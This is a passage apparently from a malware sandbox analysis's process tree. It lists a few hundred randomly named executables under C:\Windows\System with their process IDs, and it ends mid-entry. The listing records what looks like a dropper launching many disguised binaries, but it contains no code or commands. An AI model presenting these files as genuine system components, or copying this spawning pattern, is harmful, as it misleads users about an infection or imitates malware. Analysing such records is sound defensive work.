- C:\Windows\System\ujvxdyj.exe
  C:\Windows\System\ujvxdyj.exe
  2⤵
  PID:4144
- C:\Windows\System\IbbGlRw.exe
  C:\Windows\System\IbbGlRw.exe
  2⤵
  PID:4160
- C:\Windows\System\rYSqsLf.exe
  C:\Windows\System\rYSqsLf.exe
  2⤵
  PID:4180
- C:\Windows\System\kyFOFSD.exe
  C:\Windows\System\kyFOFSD.exe
  2⤵
  PID:4200
- C:\Windows\System\ygSlDGn.exe
  C:\Windows\System\ygSlDGn.exe
  2⤵
  PID:4220
- C:\Windows\System\dLkogIh.exe
  C:\Windows\System\dLkogIh.exe
  2⤵
  PID:4240
- C:\Windows\System\JElvyzp.exe
  C:\Windows\System\JElvyzp.exe
  2⤵
  PID:4264
- C:\Windows\System\fsiCSwK.exe
  C:\Windows\System\fsiCSwK.exe
  2⤵
  PID:4280
- C:\Windows\System\JhiZwcO.exe
  C:\Windows\System\JhiZwcO.exe
  2⤵
  PID:4300
- C:\Windows\System\CyJLJNc.exe
  C:\Windows\System\CyJLJNc.exe
  2⤵
  PID:4320
- C:\Windows\System\BEeZWTN.exe
  C:\Windows\System\BEeZWTN.exe
  2⤵
  PID:4340
- C:\Windows\System\hkHrNDG.exe
  C:\Windows\System\hkHrNDG.exe
  2⤵
  PID:4360
- C:\Windows\System\KmbLQsu.exe
  C:\Windows\System\KmbLQsu.exe
  2⤵
  PID:4380
- C:\Windows\System\qhqxdNl.exe
  C:\Windows\System\qhqxdNl.exe
  2⤵
  PID:4396
- C:\Windows\System\IAfjFhg.exe
  C:\Windows\System\IAfjFhg.exe
  2⤵
  PID:4420
- C:\Windows\System\gXumrFO.exe
  C:\Windows\System\gXumrFO.exe
  2⤵
  PID:4440
- C:\Windows\System\DKQNAVM.exe
  C:\Windows\System\DKQNAVM.exe
  2⤵
  PID:4460
- C:\Windows\System\cKhyHCi.exe
  C:\Windows\System\cKhyHCi.exe
  2⤵
  PID:4484
- C:\Windows\System\OWYWAFW.exe
  C:\Windows\System\OWYWAFW.exe
  2⤵
  PID:4504
- C:\Windows\System\CaboHLa.exe
  C:\Windows\System\CaboHLa.exe
  2⤵
  PID:4524
- C:\Windows\System\WGtFLfe.exe
  C:\Windows\System\WGtFLfe.exe
  2⤵
  PID:4544
- C:\Windows\System\omQycuB.exe
  C:\Windows\System\omQycuB.exe
  2⤵
  PID:4560
- C:\Windows\System\OjRPfqG.exe
  C:\Windows\System\OjRPfqG.exe
  2⤵
  PID:4584
- C:\Windows\System\tlJhPKG.exe
  C:\Windows\System\tlJhPKG.exe
  2⤵
  PID:4604
- C:\Windows\System\BTkveWr.exe
  C:\Windows\System\BTkveWr.exe
  2⤵
  PID:4624
- C:\Windows\System\AYgjGHB.exe
  C:\Windows\System\AYgjGHB.exe
  2⤵
  PID:4644
- C:\Windows\System\UkQPBpG.exe
  C:\Windows\System\UkQPBpG.exe
  2⤵
  PID:4664
- C:\Windows\System\wCiIcCA.exe
  C:\Windows\System\wCiIcCA.exe
  2⤵
  PID:4684
- C:\Windows\System\ajHZJkP.exe
  C:\Windows\System\ajHZJkP.exe
  2⤵
  PID:4704
- C:\Windows\System\oeaIxGn.exe
  C:\Windows\System\oeaIxGn.exe
  2⤵
  PID:4724
- C:\Windows\System\pYBtYTs.exe
  C:\Windows\System\pYBtYTs.exe
  2⤵
  PID:4744
- C:\Windows\System\EdcxIpf.exe
  C:\Windows\System\EdcxIpf.exe
  2⤵
  PID:4764
- C:\Windows\System\umTCPdV.exe
  C:\Windows\System\umTCPdV.exe
  2⤵
  PID:4784
- C:\Windows\System\SYuCgJU.exe
  C:\Windows\System\SYuCgJU.exe
  2⤵
  PID:4804
- C:\Windows\System\vnQKVZP.exe
  C:\Windows\System\vnQKVZP.exe
  2⤵
  PID:4824
- C:\Windows\System\cvJcAwz.exe
  C:\Windows\System\cvJcAwz.exe
  2⤵
  PID:4840
- C:\Windows\System\bMRtcuN.exe
  C:\Windows\System\bMRtcuN.exe
  2⤵
  PID:4864
- C:\Windows\System\ArGUNWu.exe
  C:\Windows\System\ArGUNWu.exe
  2⤵
  PID:4880
- C:\Windows\System\plnwDGr.exe
  C:\Windows\System\plnwDGr.exe
  2⤵
  PID:4904
- C:\Windows\System\JHwrQXn.exe
  C:\Windows\System\JHwrQXn.exe
  2⤵
  PID:4920
- C:\Windows\System\oBWmHvD.exe
  C:\Windows\System\oBWmHvD.exe
  2⤵
  PID:4940
- C:\Windows\System\syouXni.exe
  C:\Windows\System\syouXni.exe
  2⤵
  PID:4960
- C:\Windows\System\EJdihos.exe
  C:\Windows\System\EJdihos.exe
  2⤵
  PID:4980
- C:\Windows\System\goGxlho.exe
  C:\Windows\System\goGxlho.exe
  2⤵
  PID:5004
- C:\Windows\System\JOIfkos.exe
  C:\Windows\System\JOIfkos.exe
  2⤵
  PID:5024
- C:\Windows\System\IeQrzuo.exe
  C:\Windows\System\IeQrzuo.exe
  2⤵
  PID:5044
- C:\Windows\System\JDHgvyY.exe
  C:\Windows\System\JDHgvyY.exe
  2⤵
  PID:5064
- C:\Windows\System\kjmcrce.exe
  C:\Windows\System\kjmcrce.exe
  2⤵
  PID:5080
- C:\Windows\System\Zijixxw.exe
  C:\Windows\System\Zijixxw.exe
  2⤵
  PID:5104
- C:\Windows\System\lgUwVKf.exe
  C:\Windows\System\lgUwVKf.exe
  2⤵
  PID:2316
- C:\Windows\System\WacCxqA.exe
  C:\Windows\System\WacCxqA.exe
  2⤵
  PID:3472
- C:\Windows\System\fZJHzNP.exe
  C:\Windows\System\fZJHzNP.exe
  2⤵
  PID:1284
- C:\Windows\System\QpIdZGb.exe
  C:\Windows\System\QpIdZGb.exe
  2⤵
  PID:3696
- C:\Windows\System\USliOPz.exe
  C:\Windows\System\USliOPz.exe
  2⤵
  PID:3728
- C:\Windows\System\yluIkyp.exe
  C:\Windows\System\yluIkyp.exe
  2⤵
  PID:584
- C:\Windows\System\GruFwSC.exe
  C:\Windows\System\GruFwSC.exe
  2⤵
  PID:4100
- C:\Windows\System\nIJUNdo.exe
  C:\Windows\System\nIJUNdo.exe
  2⤵
  PID:4140
- C:\Windows\System\pILkEgE.exe
  C:\Windows\System\pILkEgE.exe
  2⤵
  PID:4172
- C:\Windows\System\vtNiAlV.exe
  C:\Windows\System\vtNiAlV.exe
  2⤵
  PID:4208
- C:\Windows\System\zCHtVDz.exe
  C:\Windows\System\zCHtVDz.exe
  2⤵
  PID:4252
- C:\Windows\System\OnAiePq.exe
  C:\Windows\System\OnAiePq.exe
  2⤵
  PID:4192
- C:\Windows\System\OBYCzAW.exe
  C:\Windows\System\OBYCzAW.exe
  2⤵
  PID:4228
- C:\Windows\System\gQyFwVM.exe
  C:\Windows\System\gQyFwVM.exe
  2⤵
  PID:4336
- C:\Windows\System\HzEqLxQ.exe
  C:\Windows\System\HzEqLxQ.exe
  2⤵
  PID:4308
- C:\Windows\System\Czlnilm.exe
  C:\Windows\System\Czlnilm.exe
  2⤵
  PID:4316
- C:\Windows\System\sSlkIbk.exe
  C:\Windows\System\sSlkIbk.exe
  2⤵
  PID:4412
- C:\Windows\System\nsLfTDu.exe
  C:\Windows\System\nsLfTDu.exe
  2⤵
  PID:4456
- C:\Windows\System\tMFIwLQ.exe
  C:\Windows\System\tMFIwLQ.exe
  2⤵
  PID:4428
- C:\Windows\System\MBrAlGE.exe
  C:\Windows\System\MBrAlGE.exe
  2⤵
  PID:4500
- C:\Windows\System\euzsRwJ.exe
  C:\Windows\System\euzsRwJ.exe
  2⤵
  PID:4516
- C:\Windows\System\aJEsxQY.exe
  C:\Windows\System\aJEsxQY.exe
  2⤵
  PID:4580
- C:\Windows\System\SOhNiLn.exe
  C:\Windows\System\SOhNiLn.exe
  2⤵
  PID:4620
- C:\Windows\System\JmMihdS.exe
  C:\Windows\System\JmMihdS.exe
  2⤵
  PID:4660
- C:\Windows\System\erEOjkc.exe
  C:\Windows\System\erEOjkc.exe
  2⤵
  PID:4692
- C:\Windows\System\IKycBgo.exe
  C:\Windows\System\IKycBgo.exe
  2⤵
  PID:4732
- C:\Windows\System\HvILJou.exe
  C:\Windows\System\HvILJou.exe
  2⤵
  PID:4720
- C:\Windows\System\MRTEzVM.exe
  C:\Windows\System\MRTEzVM.exe
  2⤵
  PID:4752
- C:\Windows\System\iXRfahY.exe
  C:\Windows\System\iXRfahY.exe
  2⤵
  PID:4820
- C:\Windows\System\nzzdaiJ.exe
  C:\Windows\System\nzzdaiJ.exe
  2⤵
  PID:4852
- C:\Windows\System\NKYMZUc.exe
  C:\Windows\System\NKYMZUc.exe
  2⤵
  PID:4836
- C:\Windows\System\daQOQAW.exe
  C:\Windows\System\daQOQAW.exe
  2⤵
  PID:4876
- C:\Windows\System\RWYXuUu.exe
  C:\Windows\System\RWYXuUu.exe
  2⤵
  PID:4968
- C:\Windows\System\gGmdmTx.exe
  C:\Windows\System\gGmdmTx.exe
  2⤵
  PID:4952
- C:\Windows\System\uOCKNfT.exe
  C:\Windows\System\uOCKNfT.exe
  2⤵
  PID:4996
- C:\Windows\System\fzcWVVK.exe
  C:\Windows\System\fzcWVVK.exe
  2⤵
  PID:2688
- C:\Windows\System\RPKcewW.exe
  C:\Windows\System\RPKcewW.exe
  2⤵
  PID:5036
- C:\Windows\System\UlhwHOp.exe
  C:\Windows\System\UlhwHOp.exe
  2⤵
  PID:5100
- C:\Windows\System\fuOMCak.exe
  C:\Windows\System\fuOMCak.exe
  2⤵
  PID:3224
- C:\Windows\System\NsOalxY.exe
  C:\Windows\System\NsOalxY.exe
  2⤵
  PID:2652
- C:\Windows\System\ljFXejC.exe
  C:\Windows\System\ljFXejC.exe
  2⤵
  PID:3428
- C:\Windows\System\GjdBrhg.exe
  C:\Windows\System\GjdBrhg.exe
  2⤵
  PID:3948
- C:\Windows\System\cihgTSH.exe
  C:\Windows\System\cihgTSH.exe
  2⤵
  PID:3872
- C:\Windows\System\CIsuHyi.exe
  C:\Windows\System\CIsuHyi.exe
  2⤵
  PID:3852
- C:\Windows\System\yYJDRZb.exe
  C:\Windows\System\yYJDRZb.exe
  2⤵
  PID:4116
- C:\Windows\System\SAJLnJn.exe
  C:\Windows\System\SAJLnJn.exe
  2⤵
  PID:4152
- C:\Windows\System\WpbeDcd.exe
  C:\Windows\System\WpbeDcd.exe
  2⤵
  PID:4328
- C:\Windows\System\xpjxclO.exe
  C:\Windows\System\xpjxclO.exe
  2⤵
  PID:2536
- C:\Windows\System\WMbYPwE.exe
  C:\Windows\System\WMbYPwE.exe
  2⤵
  PID:4272
- C:\Windows\System\bIJAPjd.exe
  C:\Windows\System\bIJAPjd.exe
  2⤵
  PID:2436
- C:\Windows\System\eHJlZnR.exe
  C:\Windows\System\eHJlZnR.exe
  2⤵
  PID:4492
- C:\Windows\System\pGoWPEy.exe
  C:\Windows\System\pGoWPEy.exe
  2⤵
  PID:4572
- C:\Windows\System\rRqEqbc.exe
  C:\Windows\System\rRqEqbc.exe
  2⤵
  PID:4556
- C:\Windows\System\WqhyKQh.exe
  C:\Windows\System\WqhyKQh.exe
  2⤵
  PID:4612
- C:\Windows\System\qkoIbiJ.exe
  C:\Windows\System\qkoIbiJ.exe
  2⤵
  PID:4640
- C:\Windows\System\gIDCeGb.exe
  C:\Windows\System\gIDCeGb.exe
  2⤵
  PID:4712
- C:\Windows\System\FNEkYKO.exe
  C:\Windows\System\FNEkYKO.exe
  2⤵
  PID:4756
- C:\Windows\System\iXfdEqi.exe
  C:\Windows\System\iXfdEqi.exe
  2⤵
  PID:4872
- C:\Windows\System\lfkyFXb.exe
  C:\Windows\System\lfkyFXb.exe
  2⤵
  PID:4856
- C:\Windows\System\WswXyVb.exe
  C:\Windows\System\WswXyVb.exe
  2⤵
  PID:4936
- C:\Windows\System\VLdnPBX.exe
  C:\Windows\System\VLdnPBX.exe
  2⤵
  PID:4992
- C:\Windows\System\eHzZzbf.exe
  C:\Windows\System\eHzZzbf.exe
  2⤵
  PID:2224
- C:\Windows\System\AKHvRoX.exe
  C:\Windows\System\AKHvRoX.exe
  2⤵
  PID:5092
- C:\Windows\System\OqpANAg.exe
  C:\Windows\System\OqpANAg.exe
  2⤵
  PID:5076
- C:\Windows\System\zplCuCv.exe
  C:\Windows\System\zplCuCv.exe
  2⤵
  PID:3228
- C:\Windows\System\IHhSZXs.exe
  C:\Windows\System\IHhSZXs.exe
  2⤵
  PID:4136
- C:\Windows\System\gDkIHRk.exe
  C:\Windows\System\gDkIHRk.exe
  2⤵
  PID:4156
- C:\Windows\System\MiWXgNa.exe
  C:\Windows\System\MiWXgNa.exe
  2⤵
  PID:2392
- C:\Windows\System\ozIksKq.exe
  C:\Windows\System\ozIksKq.exe
  2⤵
  PID:2620
- C:\Windows\System\crwVYUb.exe
  C:\Windows\System\crwVYUb.exe
  2⤵
  PID:4352
- C:\Windows\System\VOrSBmu.exe
  C:\Windows\System\VOrSBmu.exe
  2⤵
  PID:4432
- C:\Windows\System\dPnCiuV.exe
  C:\Windows\System\dPnCiuV.exe
  2⤵
  PID:4536
- C:\Windows\System\gKcbfsv.exe
  C:\Windows\System\gKcbfsv.exe
  2⤵
  PID:4616
- C:\Windows\System\UHAoaht.exe
  C:\Windows\System\UHAoaht.exe
  2⤵
  PID:4676
- C:\Windows\System\LCftjYA.exe
  C:\Windows\System\LCftjYA.exe
  2⤵
  PID:2540
- C:\Windows\System\AbVuaJz.exe
  C:\Windows\System\AbVuaJz.exe
  2⤵
  PID:4832
- C:\Windows\System\QhHQtVC.exe
  C:\Windows\System\QhHQtVC.exe
  2⤵
  PID:4932
- C:\Windows\System\HDvGqTA.exe
  C:\Windows\System\HDvGqTA.exe
  2⤵
  PID:2752
- C:\Windows\System\UrZETSJ.exe
  C:\Windows\System\UrZETSJ.exe
  2⤵
  PID:2728
- C:\Windows\System\QaHeTua.exe
  C:\Windows\System\QaHeTua.exe
  2⤵
  PID:1568
- C:\Windows\System\UmIHrwf.exe
  C:\Windows\System\UmIHrwf.exe
  2⤵
  PID:5056
- C:\Windows\System\cneDzsd.exe
  C:\Windows\System\cneDzsd.exe
  2⤵
  PID:3244
- C:\Windows\System\LxsDKcm.exe
  C:\Windows\System\LxsDKcm.exe
  2⤵
  PID:3552
- C:\Windows\System\uvpGhNU.exe
  C:\Windows\System\uvpGhNU.exe
  2⤵
  PID:2452
- C:\Windows\System\szsQaOz.exe
  C:\Windows\System\szsQaOz.exe
  2⤵
  PID:4296
- C:\Windows\System\yTcDoUF.exe
  C:\Windows\System\yTcDoUF.exe
  2⤵
  PID:4236
- C:\Windows\System\NGxpIiW.exe
  C:\Windows\System\NGxpIiW.exe
  2⤵
  PID:1584
- C:\Windows\System\eGVcSaD.exe
  C:\Windows\System\eGVcSaD.exe
  2⤵
  PID:4652
- C:\Windows\System\xRIvKje.exe
  C:\Windows\System\xRIvKje.exe
  2⤵
  PID:540
- C:\Windows\System\lvQspmp.exe
  C:\Windows\System\lvQspmp.exe
  2⤵
  PID:4800
- C:\Windows\System\GJEkgiv.exe
  C:\Windows\System\GJEkgiv.exe
  2⤵
  PID:2232
- C:\Windows\System\jpbfNOo.exe
  C:\Windows\System\jpbfNOo.exe
  2⤵
  PID:5000
- C:\Windows\System\EVlskyT.exe
  C:\Windows\System\EVlskyT.exe
  2⤵
  PID:2940
- C:\Windows\System\GuftkLh.exe
  C:\Windows\System\GuftkLh.exe
  2⤵
  PID:2936
- C:\Windows\System\NdfzkqU.exe
  C:\Windows\System\NdfzkqU.exe
  2⤵
  PID:2044
- C:\Windows\System\tyXIQDX.exe
  C:\Windows\System\tyXIQDX.exe
  2⤵
  PID:3392
- C:\Windows\System\qffGzta.exe
  C:\Windows\System\qffGzta.exe
  2⤵
  PID:4348
- C:\Windows\System\ORCXHil.exe
  C:\Windows\System\ORCXHil.exe
  2⤵
  PID:4468
- C:\Windows\System\YwkNQdo.exe
  C:\Windows\System\YwkNQdo.exe
  2⤵
  PID:4596
- C:\Windows\System\kRQJJOB.exe
  C:\Windows\System\kRQJJOB.exe
  2⤵
  PID:4576
- C:\Windows\System\oAfBMnv.exe
  C:\Windows\System\oAfBMnv.exe
  2⤵
  PID:5020
- C:\Windows\System\GgVDsOr.exe
  C:\Windows\System\GgVDsOr.exe
  2⤵
  PID:1412
- C:\Windows\System\wkXICKU.exe
  C:\Windows\System\wkXICKU.exe
  2⤵
  PID:2396
- C:\Windows\System\csjSHMH.exe
  C:\Windows\System\csjSHMH.exe
  2⤵
  PID:2552
- C:\Windows\System\XIqcQLe.exe
  C:\Windows\System\XIqcQLe.exe
  2⤵
  PID:1860
- C:\Windows\System\ZZikdaC.exe
  C:\Windows\System\ZZikdaC.exe
  2⤵
  PID:1548
- C:\Windows\System\aBuAJMG.exe
  C:\Windows\System\aBuAJMG.exe
  2⤵
  PID:636
- C:\Windows\System\rftNTnZ.exe
  C:\Windows\System\rftNTnZ.exe
  2⤵
  PID:4568
- C:\Windows\System\duOzsMH.exe
  C:\Windows\System\duOzsMH.exe
  2⤵
  PID:4916
- C:\Windows\System\LKevQqQ.exe
  C:\Windows\System\LKevQqQ.exe
  2⤵
  PID:1948
- C:\Windows\System\PqStcaG.exe
  C:\Windows\System\PqStcaG.exe
  2⤵
  PID:1716
- C:\Windows\System\CECopfY.exe
  C:\Windows\System\CECopfY.exe
  2⤵
  PID:2348
- C:\Windows\System\egsFUjS.exe
  C:\Windows\System\egsFUjS.exe
  2⤵
  PID:4988
- C:\Windows\System\llYjUaQ.exe
  C:\Windows\System\llYjUaQ.exe
  2⤵
  PID:4700
- C:\Windows\System\ltwyZXD.exe
  C:\Windows\System\ltwyZXD.exe
  2⤵
  PID:2604
- C:\Windows\System\TpdRkwt.exe
  C:\Windows\System\TpdRkwt.exe
  2⤵
  PID:2948
- C:\Windows\System\MTNpmZI.exe
  C:\Windows\System\MTNpmZI.exe
  2⤵
  PID:1640
- C:\Windows\System\LELPXSK.exe
  C:\Windows\System\LELPXSK.exe
  2⤵
  PID:4740
- C:\Windows\System\TWdLIMp.exe
  C:\Windows\System\TWdLIMp.exe
  2⤵
  PID:4256
- C:\Windows\System\KevVtiE.exe
  C:\Windows\System\KevVtiE.exe
  2⤵
  PID:5136
- C:\Windows\System\eKQAqoJ.exe
  C:\Windows\System\eKQAqoJ.exe
  2⤵
  PID:5152
- C:\Windows\System\irPxXQc.exe
  C:\Windows\System\irPxXQc.exe
  2⤵
  PID:5168
- C:\Windows\System\XVSDsZK.exe
  C:\Windows\System\XVSDsZK.exe
  2⤵
  PID:5184
- C:\Windows\System\uPlZGsV.exe
  C:\Windows\System\uPlZGsV.exe
  2⤵
  PID:5200
- C:\Windows\System\suJrNhW.exe
  C:\Windows\System\suJrNhW.exe
  2⤵
  PID:5220
- C:\Windows\System\OtfIoTA.exe
  C:\Windows\System\OtfIoTA.exe
  2⤵
  PID:5240
- C:\Windows\System\oLQQVky.exe
  C:\Windows\System\oLQQVky.exe
  2⤵
  PID:5260
- C:\Windows\System\lxeudBE.exe
  C:\Windows\System\lxeudBE.exe
  2⤵
  PID:5276
- C:\Windows\System\wfiOjQe.exe
  C:\Windows\System\wfiOjQe.exe
  2⤵
  PID:5304
- C:\Windows\System\rclXsNx.exe
  C:\Windows\System\rclXsNx.exe
  2⤵
  PID:5320
- C:\Windows\System\brhhnFa.exe
  C:\Windows\System\brhhnFa.exe
  2⤵
  PID:5336
- C:\Windows\System\BhsgcUI.exe
  C:\Windows\System\BhsgcUI.exe
  2⤵
  PID:5352
- C:\Windows\System\djyhuNG.exe
  C:\Windows\System\djyhuNG.exe
  2⤵
  PID:5368
- C:\Windows\System\pDzpqNF.exe
  C:\Windows\System\pDzpqNF.exe
  2⤵
  PID:5392
- C:\Windows\System\fbsupND.exe
  C:\Windows\System\fbsupND.exe
  2⤵
  PID:5412
- C:\Windows\System\gksrywY.exe
  C:\Windows\System\gksrywY.exe
  2⤵
  PID:5428
- C:\Windows\System\IBNHTjz.exe
  C:\Windows\System\IBNHTjz.exe
  2⤵
  PID:5444
- C:\Windows\System\SwufkDq.exe
  C:\Windows\System\SwufkDq.exe
  2⤵
  PID:5460
- C:\Windows\System\zkyhFSZ.exe
  C:\Windows\System\zkyhFSZ.exe
  2⤵
  PID:5476
- C:\Windows\System\yYiAJVz.exe
  C:\Windows\System\yYiAJVz.exe
  2⤵
  PID:5500
- C:\Windows\System\pYDyFXe.exe
  C:\Windows\System\pYDyFXe.exe
  2⤵
  PID:5520
- C:\Windows\System\VjQttAH.exe
  C:\Windows\System\VjQttAH.exe
  2⤵
  PID:5536
- C:\Windows\System\ZZKtptt.exe
  C:\Windows\System\ZZKtptt.exe
  2⤵
  PID:5552
- C:\Windows\System\jLHxXAC.exe
  C:\Windows\System\jLHxXAC.exe
  2⤵
  PID:5568
- C:\Windows\System\sXUtxtB.exe
  C:\Windows\System\sXUtxtB.exe
  2⤵
  PID:5584
- C:\Windows\System\DOxQWio.exe
  C:\Windows\System\DOxQWio.exe
  2⤵
  PID:5600
- C:\Windows\System\DpiCcbR.exe
  C:\Windows\System\DpiCcbR.exe
  2⤵
  PID:5620
- C:\Windows\System\LHkCvjf.exe
  C:\Windows\System\LHkCvjf.exe
  2⤵
  PID:5644
- C:\Windows\System\cUkxbRl.exe
  C:\Windows\System\cUkxbRl.exe
  2⤵
  PID:5664
- C:\Windows\System\jmhdmrG.exe
  C:\Windows\System\jmhdmrG.exe
  2⤵
  PID:5680
- C:\Windows\System\gaybQjL.exe
  C:\Windows\System\gaybQjL.exe
  2⤵
  PID:5696
- C:\Windows\System\pGEWCBE.exe
  C:\Windows\System\pGEWCBE.exe
  2⤵
  PID:5712
- C:\Windows\System\ExcOnFm.exe
  C:\Windows\System\ExcOnFm.exe
  2⤵
  PID:5728
- C:\Windows\System\UDOLzop.exe
  C:\Windows\System\UDOLzop.exe
  2⤵
  PID:5744
- C:\Windows\System\vmKmPpM.exe
  C:\Windows\System\vmKmPpM.exe
  2⤵
  PID:5760
- C:\Windows\System\pTwEHlo.exe
  C:\Windows\System\pTwEHlo.exe
  2⤵
  PID:5776
- C:\Windows\System\AGVuMEW.exe
  C:\Windows\System\AGVuMEW.exe
  2⤵
  PID:5800
- C:\Windows\System\MiLaQXj.exe
  C:\Windows\System\MiLaQXj.exe
  2⤵
  PID:5824
- C:\Windows\System\ZeXZlji.exe
  C:\Windows\System\ZeXZlji.exe
  2⤵
  PID:5844
- C:\Windows\System\vsFOEdC.exe
  C:\Windows\System\vsFOEdC.exe
  2⤵
  PID:5860
- C:\Windows\System\LFTTaRA.exe
  C:\Windows\System\LFTTaRA.exe
  2⤵
  PID:5884
- C:\Windows\System\LXhywua.exe
  C:\Windows\System\LXhywua.exe
  2⤵
  PID:5900
- C:\Windows\System\wegAeAx.exe
  C:\Windows\System\wegAeAx.exe
  2⤵
  PID:5920
- C:\Windows\System\obJnCWa.exe
  C:\Windows\System\obJnCWa.exe
  2⤵
  PID:5936
- C:\Windows\System\EnffqzJ.exe
  C:\Windows\System\EnffqzJ.exe
  2⤵
  PID:5952
- C:\Windows\System\nIeknRU.exe
  C:\Windows\System\nIeknRU.exe
  2⤵
  PID:5968
- C:\Windows\System\AHxDQkf.exe
  C:\Windows\System\AHxDQkf.exe
  2⤵
  PID:5984
- C:\Windows\System\IXLuSxl.exe
  C:\Windows\System\IXLuSxl.exe
  2⤵
  PID:6000
- C:\Windows\System\ghnsnKM.exe
  C:\Windows\System\ghnsnKM.exe
  2⤵
  PID:6016
- C:\Windows\System\SltqHMJ.exe
  C:\Windows\System\SltqHMJ.exe
  2⤵
  PID:6032
- C:\Windows\System\aPXovCp.exe
  C:\Windows\System\aPXovCp.exe
  2⤵
  PID:6048
- C:\Windows\System\jffXsXh.exe
  C:\Windows\System\jffXsXh.exe
  2⤵
  PID:6064
- C:\Windows\System\vTmjWls.exe
  C:\Windows\System\vTmjWls.exe
  2⤵
  PID:6104
- C:\Windows\System\nMAxOHQ.exe
  C:\Windows\System\nMAxOHQ.exe
  2⤵
  PID:6136
- C:\Windows\System\DAWveft.exe
  C:\Windows\System\DAWveft.exe
  2⤵
  PID:5124
- C:\Windows\System\YFPXCJT.exe
  C:\Windows\System\YFPXCJT.exe
  2⤵
  PID:5216
- C:\Windows\System\iOWsexb.exe
  C:\Windows\System\iOWsexb.exe
  2⤵
  PID:5228
- C:\Windows\System\NJVSNHA.exe
  C:\Windows\System\NJVSNHA.exe
  2⤵
  PID:5268
- C:\Windows\System\KbpfNgC.exe
  C:\Windows\System\KbpfNgC.exe
  2⤵
  PID:5344
- C:\Windows\System\ANGWyIz.exe
  C:\Windows\System\ANGWyIz.exe
  2⤵
  PID:5384
- C:\Windows\System\TrKRbxQ.exe
  C:\Windows\System\TrKRbxQ.exe
  2⤵
  PID:5452
- C:\Windows\System\TgONxXB.exe
  C:\Windows\System\TgONxXB.exe
  2⤵
  PID:5492
- C:\Windows\System\wtGQipY.exe
  C:\Windows\System\wtGQipY.exe
  2⤵
  PID:5528
- C:\Windows\System\GTSdHzq.exe
  C:\Windows\System\GTSdHzq.exe
  2⤵
  PID:5676
- C:\Windows\System\TQtPxGL.exe
  C:\Windows\System\TQtPxGL.exe
  2⤵
  PID:5740
- C:\Windows\System\zzVMWbA.exe
  C:\Windows\System\zzVMWbA.exe
  2⤵
  PID:5816
- C:\Windows\System\PCRgTdy.exe
  C:\Windows\System\PCRgTdy.exe
  2⤵
  PID:1872
- C:\Windows\System\WPyZIfJ.exe
  C:\Windows\System\WPyZIfJ.exe
  2⤵
  PID:5928
- C:\Windows\System\pdQvMNP.exe
  C:\Windows\System\pdQvMNP.exe
  2⤵
  PID:5996
- C:\Windows\System\XUsRmav.exe
  C:\Windows\System\XUsRmav.exe
  2⤵
  PID:6060
- C:\Windows\System\ssybDTw.exe
  C:\Windows\System\ssybDTw.exe
  2⤵
  PID:2216
- C:\Windows\System\mfdgkaV.exe
  C:\Windows\System\mfdgkaV.exe
  2⤵
  PID:1620
- C:\Windows\System\wVMkvyw.exe
  C:\Windows\System\wVMkvyw.exe
  2⤵
  PID:2624
- C:\Windows\System\pwvsTTK.exe
  C:\Windows\System\pwvsTTK.exe
  2⤵
  PID:5296
- C:\Windows\System\HPNunWk.exe
  C:\Windows\System\HPNunWk.exe
  2⤵
  PID:5788
- C:\Windows\System\Jwfyyhd.exe
  C:\Windows\System\Jwfyyhd.exe
  2⤵
  PID:6096
- C:\Windows\System\gDnzDeK.exe
  C:\Windows\System\gDnzDeK.exe
  2⤵
  PID:2808
- C:\Windows\System\KzSriCN.exe
  C:\Windows\System\KzSriCN.exe
  2⤵
  PID:6012
- C:\Windows\System\iMaUBLc.exe
  C:\Windows\System\iMaUBLc.exe
  2⤵
  PID:5948
- C:\Windows\System\ZFzFyQj.exe
  C:\Windows\System\ZFzFyQj.exe
  2⤵
  PID:5876
- C:\Windows\System\aZvmpWP.exe
  C:\Windows\System\aZvmpWP.exe
  2⤵
  PID:5792
- C:\Windows\System\yQmiKav.exe
  C:\Windows\System\yQmiKav.exe
  2⤵
  PID:5688
- C:\Windows\System\hiwRrgj.exe
  C:\Windows\System\hiwRrgj.exe
  2⤵
  PID:5580
- C:\Windows\System\cHxRIVB.exe
  C:\Windows\System\cHxRIVB.exe
  2⤵
  PID:5516
- C:\Windows\System\nSzQqqX.exe
  C:\Windows\System\nSzQqqX.exe
  2⤵
  PID:5436
- C:\Windows\System\DgOzOIo.exe
  C:\Windows\System\DgOzOIo.exe
  2⤵
  PID:5360
- C:\Windows\System\awInsIY.exe
  C:\Windows\System\awInsIY.exe
  2⤵
  PID:5284
- C:\Windows\System\YwOkArz.exe
  C:\Windows\System\YwOkArz.exe
  2⤵
  PID:5208
- C:\Windows\System\kNcJkQR.exe
  C:\Windows\System\kNcJkQR.exe
  2⤵
  PID:1544
- C:\Windows\System\YHFddFB.exe
  C:\Windows\System\YHFddFB.exe
  2⤵
  PID:2332
- C:\Windows\System\JQrRaDU.exe
  C:\Windows\System\JQrRaDU.exe
  2⤵
  PID:5160
- C:\Windows\System\gUfIykE.exe
  C:\Windows\System\gUfIykE.exe
  2⤵
  PID:5196
- C:\Windows\System\NMjiDtD.exe
  C:\Windows\System\NMjiDtD.exe
  2⤵
  PID:5316
- C:\Windows\System\aaiwtpw.exe
  C:\Windows\System\aaiwtpw.exe
  2⤵
  PID:5424
- C:\Windows\System\qwrrdUT.exe
  C:\Windows\System\qwrrdUT.exe
  2⤵
  PID:5596
- C:\Windows\System\JMqQeFm.exe
  C:\Windows\System\JMqQeFm.exe
  2⤵
  PID:5640
- C:\Windows\System\fNlPFut.exe
  C:\Windows\System\fNlPFut.exe
  2⤵
  PID:5896
- C:\Windows\System\MeWHmAT.exe
  C:\Windows\System\MeWHmAT.exe
  2⤵
  PID:2252
- C:\Windows\System\eLrbyhi.exe
  C:\Windows\System\eLrbyhi.exe
  2⤵
  PID:5248
- C:\Windows\System\WiWfQoC.exe
  C:\Windows\System\WiWfQoC.exe
  2⤵
  PID:6072
- C:\Windows\System\qezMZwL.exe
  C:\Windows\System\qezMZwL.exe
  2⤵
  PID:5756
- C:\Windows\System\arcOyyo.exe
  C:\Windows\System\arcOyyo.exe
  2⤵
  PID:5548
- C:\Windows\System\FVbRoQI.exe
  C:\Windows\System\FVbRoQI.exe
  2⤵
  PID:5212
- C:\Windows\System\WGKYjvl.exe
  C:\Windows\System\WGKYjvl.exe
  2⤵
  PID:5192
- C:\Windows\System\bALyTUp.exe
  C:\Windows\System\bALyTUp.exe
  2⤵
  PID:5632
- C:\Windows\System\NdnllkT.exe
  C:\Windows\System\NdnllkT.exe
  2⤵
  PID:5964
- C:\Windows\System\hrzHPwo.exe
  C:\Windows\System\hrzHPwo.exe
  2⤵
  PID:5628
- C:\Windows\System\AkuWFFi.exe
